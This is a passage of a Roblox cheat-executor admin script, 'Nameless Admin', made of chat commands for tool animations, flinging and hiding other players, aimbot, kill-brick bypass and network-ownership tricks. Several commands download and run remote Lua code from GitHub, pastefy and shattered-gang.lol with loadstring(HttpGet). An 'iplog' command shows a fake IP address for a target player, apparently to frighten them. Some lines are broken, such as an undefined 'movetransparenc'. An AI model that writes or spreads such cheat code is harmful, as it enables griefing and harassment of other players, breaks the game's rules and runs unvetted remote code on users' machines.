pairs(character:GetDescendants()) do local name = part.Name:lower() if part:IsA("BasePart") and not part.Parent:IsA("Accoutrement") and not name:find("torso") and not name:find("head") and not name:find("root") then i = i + math.random(15,50)/100 part:BreakJoints() local n = tonumber(d) or i local align = Instance.new("AlignPosition") local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") align.Attachment0, align.Attachment1 = a0, a1 align.RigidityEnabled = true lock(align, part); lock(a0, part); lock(a1, head); wrap(function() local rotX = 0 local speed = math.random(350, 750)/10000 while part and part.Parent do rotX = rotX + speed a1.Position = Vector3.new(0, (tonumber(h) or 0) + math.sin(rotX) * n, 0) RunService.RenderStepped:Wait(0) end end) end end end) cmd.add({"limborbit"}, {"limborbit [height] [distance]", "Make your limbs orbit around your head"}, function(h, d) local head = character:FindFirstChild("Head") if not head then return end local i = 2 for _, part in pairs(character:GetDescendants()) do local name = part.Name:lower() if part:IsA("BasePart") and not part.Parent:IsA("Accoutrement") and not name:find("torso") and not name:find("head") and not name:find("root") then i = i + math.random(15,50)/100 part:BreakJoints() local n = tonumber(d) or i local align = Instance.new("AlignPosition") local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") align.Attachment0, align.Attachment1 = a0, a1 align.RigidityEnabled = true lock(align, part); lock(a0, part); lock(a1, head); wrap(function() local rotX, rotY = 0, math.pi/2 local speed = math.random(35, 75)/1000 while part and part.Parent do rotX, rotY = rotX + speed, rotY + speed a1.Position = Vector3.new(math.sin(rotX) * (n), tonumber(h) or 0, math.sin(rotY) * (n)) RunService.RenderStepped:Wait(0) end end) end end end) local function getAllTools() local tools = {} local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") if backpack then for i, v in pairs(backpack:GetChildren()) do if v:IsA("Tool") then table.insert(tools, v) end end end for i, v in pairs(character:GetChildren()) do if v:IsA("Tool") then table.insert(tools, v) end end return tools end cmd.add({"fakelag", "flag"}, {"fakelag (flag)", "fake lag"}, function() FakeLag = true repeat wait() game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true wait(0.05) game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false wait(0.05) until FakeLag == false end) cmd.add({"unfakelag", "unflag"}, {"unfakelag (unflag)", "stops the fake lag command"}, function() FakeLag = false end) cmd.add({"circlemath", "cm"}, {"circlemath ", "Gay circle math\nModes: abc..."}, function(mode, size) local mode = mode or "a" local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") lib.disconnect("cm") if backpack and character.Parent then local tools = getAllTools() for i, tool in pairs(tools) do local cpos, g = (math.pi*2)*(i/#tools), CFrame.new() local tcon = {} tool.Parent = backpack if mode == "a" then size = tonumber(size) or 2 g = ( CFrame.new(0, 0, size)* CFrame.Angles(rad(90), 0, cpos) ) elseif mode == "b" then size = tonumber(size) or 2 g = ( CFrame.new(i - #tools/2, 0, 0)* CFrame.Angles(rad(90), 0, 0) ) elseif mode == "c" then size = tonumber(size) or 2 g = ( CFrame.new(cpos/3, 0, 0)* CFrame.Angles(rad(90), 0, cpos*2) ) elseif mode == "d" then size = tonumber(size) or 2 g = ( CFrame.new(clamp(tan(cpos), -3, 3), 0, 0)* CFrame.Angles(rad(90), 0, cpos) ) elseif mode == "e" then size = tonumber(size) or 2 g = ( CFrame.new(0, 0, clamp(tan(cpos), -5, 5))* CFrame.Angles(rad(90), 0, cpos) ) end tool.Grip = g tool.Parent = character tcon[#tcon] = lib.connect("cm", mouse.Button1Down:Connect(function() tool:Activate() end)) tcon[#tcon] = lib.connect("cm", tool.Changed:Connect(function(p) if p == "Grip" and tool.Grip ~= g then tool.Grip = g end end)) lib.connect("cm", tool.AncestryChanged:Connect(function() for i = 1, #tcon do tcon[i]:Disconnect() end end)) end end end) local r = math.rad local center = CFrame.new(1.5, 0.5, -1.5) cmd.add({"toolanimate"}, {"toolanimate ", "Make your tools epic\nModes: ufo/ring/shutter/saturn/portal/wtf/ball/tor"}, function(mode, int) lib.disconnect("tooldance") local int = tonumber(int) or 5 local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") local primary = character:FindFirstChild("HumanoidRootPart") if backpack and primary then local tools = getAllTools() for i, tool in pairs(tools) do if tool:IsA("Tool") and tool:FindFirstChild("Handle") then local circ = (i/#tools)*(math.pi*2) local function editGrip(tool, cframe, offset) local origin = CFrame.new(cframe.p):inverse() local x, y, z = cframe:toEulerAnglesXYZ() local new = CFrame.Angles(x, y, z) local grip = (origin * new):inverse() tool.Parent = backpack tool.Grip = offset * grip tool.Parent = character for i, v in pairs(tool:GetDescendants()) do if v:IsA("Sound") then v:Stop() end end end tool.Handle.Massless = true if mode == "ufo" then local s = {} local x, y = i, i + math.pi / 2 lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + 0.1, y + 0.1 local cframe = center * CFrame.new() * CFrame.Angles(r(s.y*10), circ + r(s.y*8), r(s.x*10)) local offset = CFrame.new(int, 0, 0) * CFrame.Angles(0, 0, 0) editGrip(tool, cframe, offset) end)) elseif mode == "ring" then local s = {} local x, y = i, i + math.pi / 2 lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + 0.04, y + 0.04 local cframe = center * CFrame.new(0, 3, 0) * CFrame.Angles(0, circ, x) local offset = CFrame.new(0, 0, int) * CFrame.Angles(0, 0, 0) editGrip(tool, cframe, offset) end)) elseif mode == "shutter" then local s = {} local x, y = 0, math.pi / 2 lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + 0.1, y + 0.1 local cframe = center * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, circ + 0) local offset = CFrame.new(s.y*6, 0, int) * CFrame.Angles(r(-90), 0, 0) editGrip(tool, cframe, offset) end)) elseif mode == "saturn" then local s = {} local x, y = 0, math.pi / 2 lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + 0.1, y + 0.1 local cframe = center * CFrame.new(0, 0, 0) * CFrame.Angles(0, circ, 0) local offset = CFrame.new(s.y*6, 0, int) * CFrame.Angles(0, 0, r(0)) editGrip(tool, cframe, offset) end)) elseif mode == "portal" then local s = {} local x, y = 0, math.pi / 2 lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + 0.1, y + 0.1 local cframe = center * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, circ + r(x*45)) local offset = CFrame.new(3, 0, int) * CFrame.Angles(r(-90), 0, 0) editGrip(tool, cframe, offset) end)) elseif mode == "ball" then local s = {} local n = math.random()*#tools local x, y = n, n+math.pi / 2 local random = math.random() lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + 0.1, y + 0.1 local cframe = center * CFrame.new(0, 0, 0) * CFrame.Angles(r(y*25), circ, r(y*25)) local offset = CFrame.new(0, int + random*2, 0) * CFrame.Angles(r(x*15), 0, 0) editGrip(tool, cframe, offset) end)) elseif mode == "wtf" then local s = {} local x, y = math.random()^3, math.random()^3+math.pi / 2 lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + 0.1 + math.random()/10, y + 0.1 + math.random()/10 local cframe = center * CFrame.new(0, 0, 0) * CFrame.Angles(r(y*100)+math.random(), circ, r(y*100)+math.random()) local offset = CFrame.new(0, int + math.random()*4, 0) * CFrame.Angles(r(x*100), 0, 0) editGrip(tool, cframe, offset) end)) elseif mode == "tor" then local s = {} local x, y = i*1, i*1+math.pi / 2 local random = math.random() lib.connect("tooldance", RunService.Heartbeat:Connect(function() s.x = math.sin(x) s.y = math.sin(y) x, y = x + (int/75), y+0.1 local cframe = center * CFrame.new(1.5, 2, 0) * CFrame.Angles(r(-90-25), 0, 0) local offset = CFrame.new(0, s.x*3, -int+math.sin(y/5)*-int) * CFrame.Angles(r(int), s.x, -x) editGrip(tool, cframe, offset) end)) end else table.remove(tools, i) end end end end) cmd.add({"hide", "unshow"}, {"hide (unshow)", "places the selected player to lighting"}, function(...) wait(); Notify({ Description = "Hid the player"; Title = "Nameless Admin"; Duration = 5; }); local Username = (...) local target = getPlr(Username) if target and target.Character then target.Character.Parent = game.Lighting end end) cmd.add({"unhide", "show"}, {"show (unhide)", "places the selected player back to workspace"}, function(...) wait(); Notify({ Description = "Unhid the player"; Title = "Nameless Admin"; Duration = 5; }); local Username = (...) local target = getPlr(Username) if target and target.Character then target.Character.Parent = game.Workspace end end) cmd.add({"aimbot", "aimbotui", "aimbotgui"}, {"aimbot (aimbotui, aimbotgui)", "aimbot and yeah"}, function() loadstring(game:HttpGet('https://raw.githubusercontent.com/fatesc/fates-esp/main/main.lua'))() end) cmd.add({"febypass", "bypassfe"}, {"febypass (bypassfe)", "dont execute (literally) btw this script does not do harm "}, function() local Sound = Instance.new("Sound",game:GetService("SoundService")) Sound.SoundId = "rbxassetid://9043346594" Sound:Play() Sound.Looped = true loadstring(game:HttpGet("https://raw.githubusercontent.com/specowos/specs-scripts/main/scripts/LOLHOO%20(fd).lua"))() end) cmd.add({"loopgrabtools"}, {"loopgrabtools", "Loop grabs dropped tools"}, function() loopgrab = true repeat wait(1) local p = game:GetService("Players").LocalPlayer local c = p.Character if c and c:FindFirstChild("Humanoid") then for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do if v:IsA("Tool") then c:FindFirstChild("Humanoid"):EquipTool(v) end end end until loopgrab == false end) cmd.add({"unloopgrabtools"}, {"unloopgrabtools", "Stops the loop grab command"}, function() loopgrab = false end) cmd.add({"dance"}, {"dance", "Does a random dance"}, function() local dances = {"27789359", "30196114", "248263260", "45834924", "33796059", "28488254", "52155728"} if theanim then theanim:Stop() theanim:Destroy() local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://" .. dances[math.random(1, #dances)] theanim = game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(animation) theanim:Play() else local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://" .. dances[math.random(1, #dances)] theanim = game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(animation) theanim:Play() end end) cmd.add({"undance"}, {"undance", "Stops the dance command"}, function() theanim:Stop() theanim:Destroy() end) cmd.add({"animspoofer", "animationspoofer", "spoofanim", "animspoof"}, {"animationspoofer (animspoof, spoofanim)", "Loads up an animation spoofer, spoofs animations that use rbxassetid"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/NamelessAdmin/main/AnimationSpoofer"))() end) cmd.add({"tooldance", "td"}, {"tooldance ", "Make your tools dance\nModes: tor/sph/inf/rng/whl/wht/voi"}, function(mode, size) local size = tonumber(size) or 5 lib.disconnect("tooldance") local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") local primary = character:FindFirstChild("HumanoidRootPart") if backpack and primary then local i, tools = 0, getAllTools() for _, tool in pairs(tools) do if tool:IsA("Tool") and tool:FindFirstChild("Handle") then i=i+1 tool.Parent = character local n = i local grip = character:FindFirstChild("RightGrip", true) local arm = grip.Parent local function editGrip(cf) tool.Parent = backpack tool.Grip = cf tool.Parent = character for i, v in pairs(tool:GetDescendants()) do if v:IsA("Sound") and v.Name:find("sheath") then v:Destroy() end end end tool.Handle.Massless = true if mode == "tor" then local x, y = n, n+math.pi/2 lib.connect("tooldance", RunService.RenderStepped:Connect(function() x,y = x+(size/75),y+0.1 local sx,sy = math.sin(x),math.sin(y) editGrip( CFrame.new( Vector3.new(0, math.sin(x * 0.5), size + 3 + math.sin(y / 5) * size) ) * CFrame.Angles( math.rad(size), math.sin(x), -x ) ) end)) elseif mode == "sph" then local x, y = n, n+math.pi/2 lib.connect("tooldance", RunService.RenderStepped:Connect(function() x,y = x+.1,y+.1 local sx,sy = math.sin(x),math.sin(y) editGrip( CFrame.new( Vector3.new(0, size, 0) ) * CFrame.Angles( math.deg(x/150), x + rad(90), 0 ) ) end)) elseif mode == "inf" then local x, y = n, n+math.pi/2 lib.connect("tooldance", RunService.RenderStepped:Connect(function() x,y = x+.1,y+.1 local sx,sy = math.sin(x),math.sin(y) editGrip( CFrame.new( Vector3.new(0, size, 0) ) * CFrame.Angles( x, x + rad(90), 0 ) ) end)) elseif mode == "wht" then local x, y = n, n+math.pi/2 lib.connect("tooldance", RunService.RenderStepped:Connect(function() x,y = x+.1,y+.1 local sx,sy = math.sin(x),math.sin(y) editGrip( CFrame.new( Vector3.new(0, size, 0) ) * CFrame.Angles( (y+math.sin(x)*10)/10, x + rad(90), 0 ) ) end)) elseif mode == "rng" then local x, y = n, n+math.pi/2 lib.connect("tooldance", RunService.RenderStepped:Connect(function() x,y = x+0.1,y+0.1 local sx,sy = math.sin(x),math.sin(y) editGrip( CFrame.new( 0, 0, size ) * CFrame.Angles( 0, x, 0 ) ) end)) elseif mode == "whl" then local x, y = n, n+math.pi/2 lib.connect("tooldance", RunService.RenderStepped:Connect(function() x,y = x+0.1,y+0.1 local sx,sy = math.sin(x),math.sin(y) editGrip( CFrame.new( Vector3.new(0, 0, size) ) * CFrame.Angles( x, 0, 0 ) ) end)) elseif mode == "voi" then local x, y = n, n+math.pi/2 lib.connect("tooldance", RunService.RenderStepped:Connect(function() x,y = x+0.1,y+0.1 local sx,sy = math.sin(x),math.sin(y) editGrip( CFrame.new( Vector3.new(size, 0, 0) ) * CFrame.Angles( 0, .6 + sy/3, (n) + sx + x ) ) end)) end end end end end) cmd.add({"copygameid", "cgameid"}, {"copygameid (cgameid)", "Copies the id of the game youre in"}, function() setclipboard(game.PlaceId) end) cmd.add({"lowhold"}, {"lowhold", "Boombox low hold"}, function() game.Players.LocalPlayer.Backpack.BoomBox.GripForward = Vector3.new(-0, -1, 0) game.Players.LocalPlayer.Backpack.BoomBox.GripPos = Vector3.new(-0.064, 0.835, -0) game.Players.LocalPlayer.Backpack.BoomBox.GripRight = Vector3.new(-0, -0, -1) game.Players.LocalPlayer.Backpack.BoomBox.GripUp = Vector3.new(-1, 0, 0) wait(0.2) game.Players.LocalPlayer:findFirstChildOfClass('Backpack')['BoomBox'].Parent = game.Players.LocalPlayer.Character wait(0.2) h = game.Players.LocalPlayer.Character.Humanoid tracks = h:GetPlayingAnimationTracks() for _,x in pairs(tracks) do x:Stop() end end) cmd.add({"copyname", "cname"}, {"copyname (cname)", "Copies the username of the target"}, function(...) Username = (...) target = getPlr(Username) wait(); Notify({ Description = "Copied the username of " .. target.DisplayName .. ""; Title = "Nameless Admin"; Duration = 7; }); setclipboard(target.Name) end) cmd.add({"copydisplay", "cdisplay"}, {"copydisplay (cdisplay)", "Copies the display name of the target"}, function(...) Username = (...) target = getPlr(Username) wait(); Notify({ Description = "Copied the display name of " .. target.Name .. ""; Title = "Nameless Admin"; Duration = 7; }); setclipboard(target.DisplayName) end) cmd.add({"nodance", "untooldance"}, {"nodance", "Stop making tools dance"}, function() lib.disconnect("tooldance") end) cmd.add({"toolvis", "audiovis"}, {"toolvis ", "Turn your tools into an audio visualizer"}, function(size) lib.disconnect("tooldance") local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") local primary = character:FindFirstChild("HumanoidRootPart") local hum = character:FindFirstChild("Humanoid") local sound for i, v in pairs(character:GetDescendants()) do if v:IsA("Sound") and v.Playing then sound = v end end if backpack and primary and sound then local tools = getAllTools() local t = 0 for i, tool in pairs(tools) do if tool.Parent == character and tool:IsA("BackpackItem") and tool:FindFirstChildWhichIsA("BasePart") and tool.Parent == character then local grip = character:FindFirstChild("RightGrip", true) local oldParent = grip.Parent lib.connect("tooldance", RunService.RenderStepped:Connect(function() if not sound then lib.disconnect("tooldance") end tool.Parent = character grip.Parent = oldParent end)) end end wait() for i, tool in pairs(tools) do if tool.Parent == backpack and tool:IsA("BackpackItem") and tool:FindFirstChildWhichIsA("BasePart") then t = t + 1 tool.Parent = character local n = i local grip = character:FindFirstChild("RightGrip", true) local arm = grip.Parent local function editGrip(cf) tool.Parent = backpack tool.Grip = tool.Grip:lerp(cf, 0.2) tool.Parent = character for i, v in pairs(tool:GetDescendants()) do if v:IsA("Sound") then v.Parent = nil end end end tool.Handle.Massless = true local x,y,z,a = n,n+math.pi/2,n,0 lib.connect("tooldance", RunService.Heartbeat:Connect(function() if not sound then lib.disconnect("tooldance") end local mt, loudness = sound.PlaybackLoudness/100, sound.PlaybackLoudness local sx, sy, sz, sa = math.sin(x), math.sin(y), math.sin(z), math.sin(a) x,y,z,a = x + 0.22 + mt / 100, y + sx + mt, z + sx/10, a + mt/100 + math.sin(x-n)/100 editGrip( CFrame.new( Vector3.new( 0, 2 + ((sx/2) * (mt^3/15))/3 - ((sx+0.5)/1.5 * ((loudness/10)^2/400)), tonumber(size) or 7 ) ) * CFrame.Angles( math.rad((sz+1)/2)*5, ((math.pi*2)*(n/t)) - (a), math.rad(sx)*5 ) ) end)) end end end end) cmd.add({"toolspin"}, {"toolspin [height] [amount]", "Make your tools spin on your head"}, function(h, amt) if not amt then amt = 1000 end local head = character:FindFirstChild("Head") if not head then return end for i, tool in pairs(localPlayer.Backpack:GetChildren()) do if tool:IsA("Tool") and tool:FindFirstChild("Handle") then if i >= (tonumber(amt) or 1000) then break end if tool:FindFirstChildWhichIsA("LocalScript") then tool:FindFirstChildWhichIsA("LocalScript").Disabled = true end tool.Parent = character end end wait(0.5) for _, tool in pairs(character:GetChildren()) do if tool:IsA("Tool") then wrap(function() tool:WaitForChild("Handle") for i, part in pairs(tool:GetDescendants()) do if part:IsA("BasePart") then part:BreakJoints() local align = Instance.new("AlignPosition") local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") align.Attachment0, align.Attachment1 = a0, a1 align.RigidityEnabled = true a1.Position = Vector3.new(0, tonumber(h) or 0, 0) lock(align, part); lock(a0, part); lock(a1, head); local angular = Instance.new("BodyAngularVelocity") angular.AngularVelocity = Vector3.new(0, math.random(100, 160)/16, 0) angular.MaxTorque = Vector3.new(0, 400000, 0) lock(angular, part); spawn(function() repeat wait() until tool.Parent ~= character angular:Destroy() align:Destroy() end) end end end) end end end) cmd.add({"toolorbit"}, {"toolorbit [height] [distance] [amount]", "Make your tools orbit around your head"}, function(h, d, amt) if not amt then amt = 1000 end local head = character:FindFirstChild("Head") if not head then return end for i, tool in pairs(localPlayer.Backpack:GetChildren()) do if tool:IsA("Tool") and tool:FindFirstChild("Handle") then if i >= (tonumber(amt) or 1000) then break end if tool:FindFirstChildWhichIsA("LocalScript") then tool:FindFirstChildWhichIsA("LocalScript").Disabled = true end tool.Parent = character end end wait(0.5) for _, tool in pairs(character:GetChildren()) do if tool:IsA("Tool") then wrap(function() tool:WaitForChild("Handle") for i, part in pairs(tool:GetDescendants()) do if part:IsA("BasePart") then part:BreakJoints() local align = Instance.new("AlignPosition") local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") align.Attachment0, align.Attachment1 = a0, a1 align.RigidityEnabled = true lock(align, part); lock(a0, part); lock(a1, head); wrap(function() local rotX, rotY = 0, math.pi/2 local speed = math.random(25, 100)/1000 local n = tonumber(d) or math.random(300, 700)/100 local y = tonumber(h) or math.random(-100, 100)/100/2 rotY, rotX = rotY + n, rotX + n part.CollisionGroupId = math.random(1000000,9999999) part.Anchored = false part.CFrame = head.CFrame * CFrame.new(0, 3, 0) while part and part.Parent and tool.Parent == character do rotX, rotY = rotX + speed, rotY + speed a1.Position = Vector3.new(math.sin(rotX) * n, y, math.sin(rotY) * n) RunService.RenderStepped:Wait(0) end end) end end end) end end end) cmd.add({"blockhats"}, {"blockhats", "Remove the meshes in your hats"}, function() for _, hat in pairs(character:GetChildren()) do if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then local handle = hat.Handle if handle:FindFirstChildWhichIsA("SpecialMesh") then handle:FindFirstChildWhichIsA("SpecialMesh"):Destroy() end end end end) cmd.add({"blocktools"}, {"blocktools", "Remove the meshes in your tools"}, function() for _, tool in pairs(character:GetChildren()) do if tool:IsA("Tool") then for _, mesh in pairs(tool:GetDescendants()) do if mesh:IsA("DataModelMesh") then mesh:Destroy() end end end end end) cmd.add({"notoolmesh", "ntm", "notoolmeshes"}, {"notoolmesh (ntm)", "Makes tools not have meshes"}, function() for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if (v:IsA("Tool")) then v.Handle.Mesh:Destroy() end end end) cmd.add({"nomeshes", "nomesh", "blocks"}, {"nomeshes", "Remove all character meshes"}, function() for _, mesh in pairs(character:GetDescendants()) do if mesh:IsA("DataModelMesh") then mesh:Destroy() end end end) cmd.add({"nodecals", "nodecal", "notextures"}, {"nodecals", "Remove all character images"}, function() for _, img in pairs(character:GetDescendants()) do if img:IsA("Decal") or img:IsA("Texture") then img:Destroy() end end end) cmd.add({"touchfling", "tfling"}, {"touchfling (tfling)", "Fling anyone that touches you using angular velocity"}, function() wait(); Notify({ Description = "Touchfling executed, press E to toggle"; Title = "Nameless Admin"; Duration = 5; }); _G.KeyCode = "E" loadstring(game:HttpGet("https://shattered-gang.lol/scripts/fe/touch_fling.lua"))() end) cmd.add({"claimua", "claimunanchored"}, {"claimunanchored (claimua)", "Teleports to every single unanchored part meaning that the ownership is yours"}, function() local parts = game.Workspace:GetDescendants() local targetParts = {} for i, child in pairs(parts) do if child:IsA("BasePart") and not child.Anchored then table.insert(targetParts, child) end end local index = 1 while targetParts[index] do game.Players.LocalPlayer.Character:MoveTo(targetParts[index].Position) repeat wait(0.04) until (game.Players.LocalPlayer.Character.Humanoid.MoveDirection.Magnitude == 0) or (targetParts[index].Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 10 index = index + 1 end end) --[ PLAYER ]-- cmd.add({"orbit"}, {"orbit ", "Orbit around a player"}, function(p,d) lib.disconnect("orbit") local players = argument.getPlayers(p) local target = players[1] if not target then return end local tchar, char = target.Character, character local thrp = tchar:FindFirstChild("HumanoidRootPart") local hrp = char:FindFirstChild("HumanoidRootPart") local dist = tonumber(d) or 4 if tchar and char and thrp and hrp then local sineX, sineZ = 0, math.pi/2 lib.connect("orbit", RunService.Stepped:Connect(function() sineX, sineZ = sineX + 0.05, sineZ + 0.05 local sinX, sinZ = math.sin(sineX), math.sin(sineZ) if thrp.Parent and hrp.Parent then hrp.Velocity = Vector3.new(0, 0, 0) hrp.CFrame = CFrame.new(sinX * dist, 0, sinZ * dist) * (hrp.CFrame - hrp.CFrame.p) + thrp.CFrame.p end end)) end end) cmd.add({"uporbit"}, {"uporbit ", "Orbit around a player on the Y axis"}, function(p,d) lib.disconnect("orbit") local players = argument.getPlayers(p) local target = players[1] if not target then return end local tchar, char = target.Character, character local thrp = tchar:FindFirstChild("HumanoidRootPart") local hrp = char:FindFirstChild("HumanoidRootPart") local dist = tonumber(d) or 4 if tchar and char and thrp and hrp then local sineX, sineY = 0, math.pi/2 lib.connect("orbit", RunService.Stepped:Connect(function() sineX, sineY = sineX + 0.05, sineY + 0.05 local sinX, sinY = math.sin(sineX), math.sin(sineY) if thrp.Parent and hrp.Parent then hrp.Velocity = Vector3.new(0, 0, 0) hrp.CFrame = CFrame.new(sinX * dist, sinY * dist, 0) * (hrp.CFrame - hrp.CFrame.p) + thrp.CFrame.p end end)) end end) cmd.add({"iplog", "infolog"}, {"iplog ", "Stop orbiting a player"}, function(...) Username = (...) target = getPlr(Username) local ip = math.random(100,200) local ipp = math.random(50,100) local ippp = math.random(50,100) local ipppp = math.random(100,200) local description = target.Name .. "'s ip is " .. ip .. "." .. ipp .. "." .. ippp .. "." .. ipppp wait(); Notify({ Description = description; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"unorbit"}, {"unorbit", "Stop orbiting a player"}, function() lib.disconnect("orbit") end) cmd.add({"antikillbrick", "antikb"}, {"antikillbrick (antikb)", "Makes it so kill bricks cant kill you"}, function() local player = game:GetService("Players").LocalPlayer local UIS = game:GetService("UserInputService") local myzaza = false UIS.InputBegan:Connect(function(input, GPE) if GPE then return end myzaza = not myzaza end) local parts = workspace:GetPartBoundsInRadius(player.Character:WaitForChild("HumanoidRootPart").Position, 10) for _, part in ipairs(parts) do part.CanTouch = myzaza end end) cmd.add({"unantikillbrick", "unantikb"}, {"unantikillbrick (unantikb)", "Makes it so kill bricks can kill you"}, function() local player = game:GetService("Players").LocalPlayer local UIS = game:GetService("UserInputService") local myzaza = true UIS.InputBegan:Connect(function(input, GPE) if GPE then return end myzaza = not myzaza end) local parts = workspace:GetPartBoundsInRadius(player.Character:WaitForChild("HumanoidRootPart").Position, 10) for _, part in ipairs(parts) do part.CanTouch = myzaza end end) cmd.add({"height", "hipheight", "hh"}, {"height (hipheight, hh)", "Changes your hipheight"}, function(...) game.Players.LocalPlayer.Character.Humanoid.HipHeight = (...) end) cmd.add({"uadelete", "unanchoreddelete"}, {"unanchoredelete (uadelete)", "Gives you btools to delete unanchored parts"}, function() wait(); Notify({ Description = "Btools loading, wait 2 seconds."; Title = "Nameless Admin"; Duration = 5; }); local fenv = getfenv() local shp = fenv.sethiddenproperty or fenv.set_hidden_property or fenv.sethiddenprop or fenv.set_hidden_prop local ssr = fenv.setsimulationradius or fenv.setsimradius or fenv.set_simulation_radius net = shp and function(Radius) shp(lp, "SimulationRadius", Radius) end net = net or ssr wait(1) loadstring(game:HttpGet(('https://pastefy.ga/zxwQDjbc/raw'),true))() --[[ FE Custom BTools V2 | Script made by Cyclically BTools will only replicate on unanchored parts https://v3rmillion.net/member.php?action=profile&uid=785986 Don't edit script unless you know what you're doing. If you wanna add this into a script, please give credits and message me on discord that you added it in a script at Cyclically#4905 ]] local LocalPlayer = game:GetService("Players").LocalPlayer local mouse = LocalPlayer:GetMouse() local movetool = Instance.new("Tool", LocalPlayer.Backpack) local movedetect = false local movingpart = nil local movetransparency = 0 if editedparts == nil then editedparts = {} parentfix = {} positionfix = {} end movetool.Name = "Move" movetool.CanBeDropped = false movetool.RequiresHandle = false local function createnotification(title, text) game:GetService("StarterGui"):SetCore("SendNotification", { Title = title; Text = text; Duration = 1; }) end movetool.Activated:Connect(function() createnotification("Move Tool", "You are moving: "..mouse.Target.Name) movingpart = mouse.Target movedetect = true movingpart.CanCollide = false movetransparency = movingpart.Transparency movingpart.Transparency = 0.5 mouse.TargetFilter = movingpart table.insert(editedparts, movingpart) table.insert(parentfix, movingpart.Parent) table.insert(positionfix, movingpart.CFrame) movingpart.Transparency = movingpart.Transparency / 2 repeat mouse.Move:Wait() movingpart.CFrame = CFrame.new(mouse.Hit.p) until movedetect == false end) movetool.Deactivated:Connect(function() createnotification("Move Tool", "You have stopped moving: "..mouse.Target.Name) movingpart.CanCollide = true movedetect = false mouse.TargetFilter = nil movingpart.Transparency = movetransparenc end) end) cmd.add({"netbypass", "netb"}, {"netbypass (netb)", "Net bypass"}, function() wait(); Notify({ Description = "Netbypass enabled"; Title = "Nameless Admin"; Duration = 5; }); local fenv = getfenv() local shp = fenv.sethiddenproperty or fenv.set_hidden_property or fenv.sethiddenprop or fenv.set_hidden_prop local ssr = fenv.setsimulationradius or fenv.setsimradius or fenv.set_simulation_radius net = shp and function(Radius) shp(lp, "SimulationRadius", Radius) end net = net or ssr end) cmd.add({"day"}, {"day", "Makes it day"}, function() game:GetService("Lighting").ClockTime = "12" end) cmd.add({"night"}, {"night", "Makes it night"}, function() game:GetService("Lighting").ClockTime = "24" end) cmd.add({"night"}, {"night", "Makes it night"}, function() game:GetService("Lighting").ClockTime = "24" end) cmd.add({"chat", "message"}, {"chat (message)", "Chats you, useful if youre muted"}, function(...) message = (...) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, 'All') end) cmd.add({"fixcam", "fix"}, {"fixcam", "Fix your camera"}, function() local workspace = game.Workspace Players = game:GetService("Players") local speaker = Players.LocalPlayer workspace.CurrentCamera:remove() wait(.1) workspace.CurrentCamera.CameraSubject = speaker.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" speaker.CameraMinZoomDistance = 0.5 speaker.CameraMaxZoomDistance = 400 speaker.CameraMode = "Classic" speaker.Character.Head.Anchored = false end) cmd.add({"fling2"}, {"fling2 ", "Fling the given player 2"}, function(...) Target = (...) flinghh = 1000 target = getPlr(Target) game.Workspace.CurrentCamera.CameraSubject = target.Character.Humanoid local lp = game.Players.LocalPlayer for i,v in pairs(game.Players:GetPlayers()) do if v.Name:lower():match("^"..Target:lower()) or v.DisplayName:lower():match("^"..Target:lower()) then Target = v break end end if type(Target) == "string" then return end local oldpos = lp.Character.HumanoidRootPart.CFrame local oldhh = lp.Character.Humanoid.HipHeight local carpetAnim = Instance.new("Animation") carpetAnim.AnimationId = "rbxassetid://282574440" carpet = lp.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(carpetAnim) carpet:Play(.1, 1, 1) local carpetLoop local tTorso = Target.Character:FindFirstChild("Torso") or Target.Character:FindFirstChild("LowerTorso") or Target.Character:FindFirstChild("HumanoidRootPart") spawn(function() carpetLoop = game:GetService('RunService').Heartbeat:Connect(function() pcall(function() if tTorso.Velocity.magnitude <= 28 then -- if target uses netless just target their local position local pos = {x=0, y=0, z=0} pos.x = tTorso.Position.X pos.y = tTorso.Position.Y pos.z = tTorso.Position.Z pos.x = pos.x + tTorso.Velocity.X / 2 pos.y = pos.y + tTorso.Velocity.Y / 2 pos.z = pos.z + tTorso.Velocity.Z / 2 lp.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z)) else lp.Character.HumanoidRootPart.CFrame = tTorso.CFrame end end) end) end) wait() lp.Character.Humanoid.HipHeight = flinghh wait(.5) carpetLoop:Disconnect() game.Workspace.CurrentCamera.CameraSubject = target.Character.Humanoid wait(1) 